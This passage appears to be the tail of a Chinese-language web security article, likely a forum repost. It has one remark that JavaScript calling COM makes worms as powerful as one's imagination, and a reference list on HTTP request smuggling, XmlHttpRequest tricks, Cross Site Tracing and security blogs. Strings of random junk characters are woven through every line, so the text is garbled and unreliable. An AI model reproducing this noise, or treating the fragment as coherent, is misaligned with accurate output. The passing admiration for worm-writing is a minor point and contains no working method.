; i8 y) d) o/ B) k0 k2 B操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.& r/ ]5 z7 P0 D2 V
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+ W0 i; k. K% n$ E0 B- P本文引用文档资料:
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
+ a: n) c- S* iOther XmlHttpRequest tricks (Amit Klein, January 2003)
2 {" Z" Y* |1 ^2 ^6 G" V"Cross Site Tracing" (Jeremiah Grossman, January 2003)
5 s: F, \2 c/ xhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
5 g" S& E$ Q- T2 L S: G空虚浪子心BLOG http://www.inbreak.net
# n+ u; ]& H: x$ `; `Xeye Team http://xeye.us/* ?& P, M' ^6 ?% T& l& C* |5 i
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